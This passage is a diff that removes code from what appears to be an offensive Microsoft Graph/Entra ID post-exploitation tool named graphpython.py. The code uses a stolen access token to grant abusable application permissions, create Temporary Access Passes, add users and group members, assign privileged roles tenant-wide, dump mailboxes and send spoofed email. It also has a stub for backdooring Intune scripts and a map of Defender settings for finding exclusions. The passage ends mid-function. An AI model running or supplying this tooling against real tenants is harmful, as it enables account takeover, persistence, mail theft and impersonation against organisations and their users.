- print_red("[-] Error: --id required for Add-ApplicationPermission command")
- return
-
- print_yellow("\n[*] Add-ApplicationPermission")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- # ADD
- # - table of common permissions we can abuse
-
- try:
- permissionid = input("\nEnter API Permission ID: ").strip()
- permissiontype = input("Enter Permission Type (application/delegated): ").strip().lower()
- except KeyboardInterrupt:
- sys.exit()
-
- if permissiontype == "application":
- typevalue = "Role"
- else:
- typevalue = "Scope"
-
- data = {
- "requiredResourceAccess": [
- {
- "resourceAppId": "00000003-0000-0000-c000-000000000000",
- "resourceAccess": [
- {
- "id": permissionid, #"e383f46e-2787-4529-855e-0e479a3ffac0", # Mail.Send
- "type": typevalue
- }
- ]
- }
- ]
- }
-
- response = requests.patch(api_url, headers=headers, json=data)
- print(response.text)
-
- if response.ok:
- print_green("\n[+] Application permission updated successfully")
- # graphpython.py --command invoke-customquery --query https://graph.microsoft.com/v1.0/myorganization/applications/ --token .\token
- print(response.text)
- else:
- print_red(f"\n[-] Failed to update application permission: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # grant-adminconsent
- # - grant admin consent to adding api app permission
- # POST https://graph.microsoft.com/beta/directory/consentToApp
- # {"clientAppId":"3d84ebcc-0eef-4f59-ae2a-3fe0e1eb7f51","onBehalfOfAll":true,"checkOnly":false,"tags":[],"constrainToRra":true,"dynamicPermissions":[{"appIdentifier":"00000003-0000-0000-c000-000000000000","appRoles":["Directory.Read.All"],"scopes":[]}]}
-
- # add-userTAP
- elif args.command and args.command.lower() == "add-usertap":
- if not args.id:
- print_red("[-] Error: --id required for Add-UserTAP command")
- return
-
- print_yellow("\n[*] Add-UserTAP")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- current_time_utc = datetime.now(timezone.utc)
- one_hour_later = current_time_utc + timedelta(minutes=60)
- formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ")
-
- json_body = {
- "properties": {
- "isUsableOnce": True,
- "startDateTime": formatted_date
- }
- }
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
-
- url = response_body.get("@odata.nextLink")
- if url:
- response = requests.get(url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
- else:
- print_red(f"[-] Failed to add TAP: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # add-groupmember
- elif args.command and args.command.lower() == "add-groupmember":
- if not args.id:
- print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command")
- return
-
- ids = args.id.split(',')
- if len(ids) != 2:
- print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).")
- return
-
- group_id, member_id = ids[0].strip(), ids[1].strip()
-
- print_yellow("\n[*] Add-GroupMember")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {
- "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}"
- }
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- print_green("[+] User added to group")
- else:
- print_red(f"[-] Failed to add group member: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # create-application
- elif args.command and args.command.lower() == "create-application":
-
- print_yellow("\n[*] Create-Application")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/applications"
-
- try:
- appname = input("\nEnter App Name: ").strip()
- except KeyboardInterrupt:
- sys.exit()
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {"displayName": appname}
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- print_green("\n[+] Application created\n")
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
-
- else:
- print_red(f"[-] Failed to create application: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # create-newuser
- elif args.command and args.command.lower() == "create-newuser":
-
- print_yellow("\n[*] Create-NewUser")
- print("=" * 80)
- try:
- display_name = input("\nEnter Display Name: ").strip()
- mail_nickname = input("Enter Mail Nickname: ").strip()
- user_principal_name = input("Enter User Principal Name: ").strip()
- password = input("Enter Password: ").strip()
- except KeyboardInterrupt:
- sys.exit()
-
- api_url = f"https://graph.microsoft.com/v1.0/users/"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {
- "accountEnabled": True,
- "displayName": display_name,
- "mailNickname": mail_nickname,
- "userPrincipalName": user_principal_name,
- "passwordProfile": {
- "forceChangePasswordNextSignIn": True,
- "password": password
- }
- }
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- print_green("\n[+] New user created\n")
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
-
- else:
- print_red(f"[-] Failed to create new user: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # invite-guestuser
- elif args.command and args.command.lower() == "invite-guestuser":
- if not args.tenant:
- print_red("[-] Error: --tenant required for Invite-GuestUser command")
- return
-
- print_yellow("\n[*] Invite-GuestUser")
- print("=" * 80)
- try:
- email = input("\nEnter Email Address: ").strip()
- displayname = input("Enter Display Name: ").strip()
- redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=...
- sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower()
- custommessage = input("Custom Message Body: ").strip()
- except KeyboardInterrupt:
- sys.exit()
-
- if redirecturl == "":
- redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}"
-
- api_url = f"https://graph.microsoft.com/v1.0/invitations"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {
- "invitedUserEmailAddress": email,
- "invitedUserDisplayName": displayname,
- "inviteRedirectUrl": redirecturl,
- "sendInvitationMessage": sendinvitationmessage,
- "invitedUserMessageInfo": {
- "customizedMessageBody": custommessage
- }
- }
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- print_green("\n[+] Guest user invited\n")
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
-
- else:
- print_red(f"[-] Failed to invite guest user: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
-
- # assign-privilegedrole
- elif args.command and args.command.lower() == "assign-privilegedrole":
-
- print_yellow("\n[*] Assign-PrivilegedRole")
- print("=" * 80)
- table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles]
- separator = ['-' * 20, '-' * 20, '-' * 20]
- print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left")))
-
- try:
- roleid = input("\nEnter Role Template ID: ").strip()
- objectid = input("Enter Object ID (user/group id): ").strip()
- scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope
- except KeyboardInterrupt:
- sys.exit()
-
- api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {
- "@odata.type": "#microsoft.graph.unifiedRoleAssignment",
- "roleDefinitionId": roleid,
- "principalId": objectid,
- "directoryScopeId": scopeid
- }
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- print_green("\n[+] Role assigned\n")
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
-
- else:
- print_red(f"[-] Failed to assign role: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # open-owamailboxinbrowser
- elif args.command and args.command.lower() == "open-owamailboxinbrowser":
- print_yellow("\n[*] Open-OWAMailboxInBrowser")
- print("=" * 80)
-
- user_agent = get_user_agent(args)
- headers = {
- "Authorization": f"Bearer {access_token}",
- "User-Agent": user_agent
- }
-
- if args.only_return_cookies:
- try:
- response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False)
- print_green("[+] Cookies:")
- print(response.headers.get('Set-Cookie'))
- except requests.RequestException as e:
- print_red(f"[-] Error making request: {str(e)}")
- else:
- print("To open the OWA mailbox in a browser using a Substrate Access Token:")
- print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'")
- print("2. Paste the below request into Repeater & Send")
- print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser")
- print("4. Refresh the page to access the mailbox")
- print()
- print("GET /owa/ HTTP/1.1")
- print(f"Host: substrate.office.com")
- print(f"Authorization: Bearer {args.token}")
- print()
- print("=" * 80)
-
- # dump-owamailbox
- elif args.command and args.command.lower() == "dump-owamailbox":
- if not args.mail_folder:
- print_red("[-] Mail folder --mail-folder is required for this command.")
- return
-
- if args.id:
- base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages"
- else:
- base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages"
-
- query_params = []
- if args.select:
- query_params.append(f"$select={args.select}")
-
- if args.top:
- query_params.append(f"$top={args.top}")
-
- if query_params:
- api_url = f"{base_url}?" + "&".join(query_params)
- else:
- api_url = base_url
-
- max_results = 400
-
- print_yellow("\n[*] Dump-OWAMailbox")
- print("=" * 80)
- user_agent = get_user_agent(args)
- headers = {
- "Authorization": f"Bearer {access_token}",
- "User-Agent": user_agent
- }
-
- try:
- response = requests.get(api_url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
-
- filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
-
- if filtered_data:
- if not filtered_data.get('value'):
- print_red("[-] No data found")
- return
-
- email_count = 1
- for d in filtered_data.get('value', []):
- print_green(f"Email {email_count}")
- print_green("="*80)
- for key, value in d.items():
- print(f"{key} : {value}")
- print("\n")
- email_count += 1
-
- url = response_body.get("@odata.nextLink")
- if url:
- response = requests.get(url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
-
- except requests.RequestException as e:
- print_red(f"[-] Error making request: {str(e)}")
-
- print("=" * 80)
-
- # spoof-owaemailmessage
- elif args.command and args.command.lower() == "spoof-owaemailmessage":
- print_yellow("\n[*] Spoof-OWAEmailMessage")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/sendMail"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
- try:
- subject = input("\nEnter Subject: ").strip()
- content = input("Enter Body Content: ").strip()
- torecipients = input("Enter toRecipients (comma-separated): ").strip()
- ccrecipients = input("Enter ccRecipients (comma-separated): ").strip()
- savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'false' # default
- except KeyboardInterrupt:
- sys.exit()
-
- to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()]
- cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()]
-
- json_body = {
- "message": {
- "subject": subject,
- "body": {
- "contentType": "Text",
- "content": content
- },
- "toRecipients": to_recipients,
- "ccRecipients": cc_recipients
- },
- "saveToSentItems": savetf
- }
-
- # Add attachment option:
- # "attachments": [
- # {
- # "@odata.type": "#microsoft.graph.fileAttachment",
- # "name": "attachment.txt",
- # "contentType": "text/plain",
- # "contentBytes": "SGVsbG8gV29ybGQh"
- # }
- # ]
-
- response = requests.post(api_url, headers=headers, json=json_body)
- if response.ok:
- print_green("\n[+] Email sent successfully")
-
- else:
- print_red(f"\n[-] Failed to send OWA email message: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
-
- ################################
- # Post-Auth Intune Enumeration #
- ################################
-
- # get-manageddevices
- if args.command and args.command.lower() == "get-manageddevices":
- print_yellow("\n[*] Get-ManagedDevices")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-userdevices
- elif args.command and args.command.lower() == "get-userdevices":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-UserDevices command")
- return
-
- print_yellow("\n[*] Get-UserDevices")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'"
-
- if args.select:
- api_url += "&$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-caps
- elif args.command and args.command.lower() == "get-caps":
- print_yellow("\n[*] Get-CAPs")
- print("=" * 80)
- api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-devicecategories
- elif args.command and args.command.lower() == "get-devicecategories":
- print_yellow("\n[*] Get-DeviceCategories")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-devicecompliancesummary
- elif args.command and args.command.lower() == "get-devicecompliancesummary":
- print_yellow("\n[*] Get-DeviceComplianceSummary")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
- response = requests.get(api_url, headers=headers)
-
- if response.ok:
- response_body = response.json()
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-deviceconfigurations
- elif args.command and args.command.lower() == "get-deviceconfigurations":
- print_yellow("\n[*] Get-DeviceConfigurations")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-deviceconfigurationpolicies
- elif args.command and args.command.lower() == "get-deviceconfigurationpolicies":
- print_yellow("\n[*] Get-DeviceConfigurationPolicies")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': 'Bearer ' + access_token,
- 'Accept': 'application/json',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- policies = response.json()
- else:
- print_red(f"[-] Error: API request failed with status code {response.status_code}")
- policies = None
- print("=" * 80)
-
- if policies and 'value' in policies:
- for policy in policies['value']:
- for key, value in policy.items():
- print(f"{key} : {value}")
-
- # display assignments for each policy
- policy_id = policy.get('id')
- if policy_id:
- assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments"
- assignments_response = requests.get(assignments_api_url, headers=headers)
-
- if assignments_response.status_code == 200:
- assignments = assignments_response.json()
- if not assignments.get('value'):
- print_red("assignmentTarget: No assignments")
- else:
- for assignment in assignments.get('value', []):
- # Print assignmentTarget if 'target' exists in the assignment
- if 'target' in assignment:
- print_green(f"assignmentTarget : {assignment['target']}")
- else:
- print_red("assignmentTarget: No assignments")
- else:
- print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}")
- print("\n")
- print("=" * 80)
-
-
- # get-deviceconfigurationpolicysettings
- elif args.command and args.command.lower() == "get-deviceconfigurationpolicysettings":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command")
- return
-
- print_yellow("\n[*] Get-DeviceConfigurationPolicySettings")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.ok:
- response_body = response.json()
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-deviceenrollmentconfigurations
- elif args.command and args.command.lower() == "get-deviceenrollmentconfigurations":
- print_yellow("\n[*] Get-DeviceEnrollmentConfigurations")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-devicegrouppolicyconfigurations
- elif args.command and args.command.lower() == "get-devicegrouppolicyconfigurations":
- print_yellow("\n[*] Get-DeviceGroupPolicyConfigurations")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': 'Bearer ' + access_token,
- 'Accept': 'application/json',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- group_policies = response.json()
- else:
- print_red(f"[-] Error: API request failed with status code {response.status_code}")
- group_policies = None
-
- if group_policies and 'value' in group_policies:
- for policy in group_policies['value']:
- # group policy details
- for key, value in policy.items():
- print(f"{key} : {value}")
-
- # display assignments for the group policy
- policy_id = policy.get('id')
- if policy_id:
- assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments"
- assignments_response = requests.get(assignments_api_url, headers=headers)
-
- if assignments_response.status_code == 200:
- assignments = assignments_response.json()
- if not assignments.get('value'):
- print_red("assignmentTarget: No assignments")
- else:
- for assignment in assignments.get('value', []):
- if 'target' in assignment:
- print_green(f"assignmentTarget : {assignment['target']}")
- else:
- print_red("assignmentTarget: No assignments")
- else:
- print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}")
- print("\n")
- print("=" * 80)
-
- # get-devicegrouppolicydefinition
- elif args.command and args.command.lower() == "get-devicegrouppolicydefinition":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command")
- return
-
- print_yellow("\n[*] Get-DeviceGroupPolicyDefinition")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-roledefinitions
- elif args.command and args.command.lower() == "get-roledefinitions":
- print_yellow("\n[*] Get-RoleDefinitions")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-roleassignments
- elif args.command and args.command.lower() == "get-roleassignments":
- print_yellow("\n[*] Get-RoleAssignments")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
-
- #################################
- # Post-Auth Intune Exploitation #
- #################################
-
- # dump-devicemanagementscripts
- elif args.command and args.command.lower() == "dump-devicemanagementscripts":
- print_yellow("\n[*] Dump-DeviceManagementScripts")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-scriptcontent
- elif args.command and args.command.lower() == "get-scriptcontent":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-ScriptContent command")
- return
-
- print_yellow("\n[*] Get-ScriptContent")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}"
-
- if args.select:
- api_url += "&$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- try:
- response = requests.get(api_url, headers=headers)
- response.raise_for_status()
- json_data = response.json()
- json_data.pop('@odata.context', None)
-
- script_content = json_data.get('scriptContent')
- if script_content:
- decoded_script_content = base64.b64decode(script_content).decode('utf-8')
- json_data['scriptContent'] = decoded_script_content
-
- json_data.pop('scriptContent', None)
- for key, value in json_data.items():
- print(f"{key} : {value}")
-
- if script_content:
- print("scriptContent :\n")
- print(decoded_script_content)
-
- except requests.exceptions.RequestException as ex:
- print(f"[!] HTTP Error: {ex}")
- print("=" * 80)
-
- # backdoor-script
- # - alter a script in place already
- # - add file option for code to add
-
- # display-avpolicyrules
- elif args.command and args.command.lower() == "display-avpolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-AVPolicyRules command")
- return
-
- print_yellow("\n[*] Display-AVPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- settings_map = {
- "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": {
- "description": "Remediation action for High severity threats",
- "values": {
- "4=1": "Clean (service tries to recover files and try to disinfect)",
- "4=2": "Quarantine (moves files to quarantine)",
- "4=3": "Remove (removes files from system)",
- "4=6": "Allow (allows file/does none of the above actions)",
- "4=8": "User defined (requires user to make a decision on which action to take)",
- "4=10": "Block (blocks file execution)"
- }
- },
- "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": {
- "description": "Remediation action for Low severity threats",
- "values": {
- "1=1": "Clean (service tries to recover files and try to disinfect)",
- "1=2": "Quarantine (moves files to quarantine)",
- "1=3": "Remove (removes files from system)",
- "1=6": "Allow (allows file/does none of the above actions)",
- "1=8": "User defined (requires user to make a decision on which action to take)",
- "1=10": "Block (blocks file execution)"
- }
- },
- "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": {
- "description": "Remediation action for Moderate severity threats",
- "values": {
- "2=1": "Clean (service tries to recover files and try to disinfect)",
- "2=2": "Quarantine (moves files to quarantine)",
- "2=3": "Remove (removes files from system)",
- "2=6": "Allow (allows file/does none of the above actions)",
- "2=8": "User defined (requires user to make a decision on which action to take)",
- "2=10": "Block (blocks file execution)"
- }
- },
- "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": {
- "description": "Remediation action for Severe threats",
- "values": {
- "5=1": "Clean (service tries to recover files and try to disinfect)",
- "5=2": "Quarantine (moves files to quarantine)",
- "5=3": "Remove (removes files from system)",
- "5=6": "Allow (allows file/does none of the above actions)",
- "5=8": "User defined (requires user to make a decision on which action to take)",
- "5=10": "Block (blocks file execution)"
- }
- },
- "device_vendor_msft_policy_config_defender_allowarchivescanning": {
- "description": "Allow archive scanning",
- "values": {
- "0": "Not allowed (turns off scanning on archived files)",
- "1": "Allowed (scans the archive files)"
- }
- },
- "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": {
- "description": "Allow behavior monitoring",
- "values": {
- "0": "Not allowed (turns off behavior monitoring)",
- "1": "Allowed (turns on real-time behavior monitoring)"
- }
- },
- "device_vendor_msft_policy_config_defender_allowcloudprotection": {
- "description": "Allow cloud protection",
- "values": {
- "0": "Not allowed (turns off Cloud Protection)",
- "1": "Allowed (turns on Cloud Protection"
- }
- },
- "device_vendor_msft_policy_config_defender_allowemailscanning": {
- "description": "Allow email scanning",
- "values": {
- "0": "Not allowed (turns off email scanning)",
- "1": "Allowed (turns on email scanning)"
- }
- },
- "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": {
- "description": "Allow full scan on mapped network drives",
- "values": {
- "0": "Not allowed (disables scanning on mapped network drives)",
- "1": "Allowed (scans mapped network drives)"
- }
- },
- "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": {
- "description": "Allow full scan on removable drives",
- "values": {
- "0": "Not allowed (turns off scanning on removable drives)",
- "1": "Allowed (scans removable drives)"
- }
- },
- "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": {
- "description": "Allow intrusion prevention system",
- "values": {
- "0": "Not allowed",
- "1": "Allowed"
- }
- },
- "device_vendor_msft_policy_config_defender_allowioavprotection": {
- "description": "Allow IOAV protection",
- "values": {
- "0": "Not allowed",
- "1": "Allowed"
- }
- },
- "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": {
- "description": "Allow real-time monitoring",
- "values": {
- "0": "Not allowed",
- "1": "Allowed"
- }
- },
- "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": {
- "description": "Allow scanning network files",
- "values": {
- "0": "Not allowed",
- "1": "Allowed"
- }
- },
- "device_vendor_msft_policy_config_defender_allowscriptscanning": {
- "description": "Allow script scanning",
- "values": {
- "0": "Not allowed",
- "1": "Allowed"
- }
- },
- "device_vendor_msft_policy_config_defender_allowuseruiaccess": {
- "description": "Allow user UI access",
- "values": {
- "0": "Not allowed",
- "1": "Allowed"
- }
- },
- "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": {
- "description": "Check for signatures before running scan",
- "values": {
- "0": "Not required",
- "1": "Required"
- }
- },
- "device_vendor_msft_policy_config_defender_cloudblocklevel": {
- "description": "Cloud block level",
- "values": {
- "0": "Disabled",
- "1": "Basic",
- "2": "High"
- }
- },
- "device_vendor_msft_policy_config_defender_disablecatchupfullscan": {
- "description": "Disable catch-up full scan",
- "values": {
- "0": "Enabled",
- "1": "Disabled"
- }
- },
- "device_vendor_msft_policy_config_defender_disablecatchupquickscan": {
- "description": "Disable catch-up quick scan",
- "values": {
- "0": "Enabled",
- "1": "Disabled"
- }
- },
- "device_vendor_msft_policy_config_defender_enablelowcpupriority": {
- "description": "Enable low CPU priority",
- "values": {
- "0": "Disabled",
- "1": "Enabled"
- }
- },
- "device_vendor_msft_policy_config_defender_enablenetworkprotection": {
- "description": "Enable network protection",
- "values": {
- "0": "Disabled",
- "1": "Enabled"
- }
- },
- "device_vendor_msft_policy_config_defender_excludedextensions": {
- "description": "Excluded extensions",
- "values": {}
- },
- "device_vendor_msft_policy_config_defender_excludedpaths": {
- "description": "Excluded paths",
- "values": {}
- },
- "device_vendor_msft_policy_config_defender_excludedprocesses": {
- "description": "Excluded processes",
- "values": {}
- },
- "device_vendor_msft_policy_config_defender_puaprotection": {
- "description": "PUA protection",
- "values": {
- "0": "Disabled",
- "1": "Enabled"
- }
- },
- "device_vendor_msft_policy_config_defender_realtimescandirection": {
- "description": "Real-time scan direction",
- "values": {
- "0": "Both directions",
- "1": "Inbound only",
- "2": "Outbound only"
- }
- },
- "device_vendor_msft_policy_config_defender_scanparameter": {
- "description": "Scan parameter",
- "values": {
- "0": "Quick scan",
- "1": "Full scan"
- }
- }
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
-
- for setting in response_json.get('value', []):
- if 'settingInstance' in setting:
- setting_instance = setting['settingInstance']
- setting_id = setting_instance.get('settingDefinitionId', '')
-
- if setting_id in settings_map:
- description = settings_map[setting_id]['description']
-
- if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance':
- simple_setting_values = setting_instance.get('simpleSettingCollectionValue', [])
- value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')]
- value = ', '.join(value_list)
- print(f"{description} : {value}")
- elif 'choiceSettingValue' in setting_instance:
- value = setting_instance['choiceSettingValue'].get('value', '')
- value_suffix = value[len(setting_id):].lstrip('_')
-
- if value_suffix in settings_map[setting_id]['values']:
- mapped_value = settings_map[setting_id]['values'][value_suffix]
- elif value_suffix == 'block':
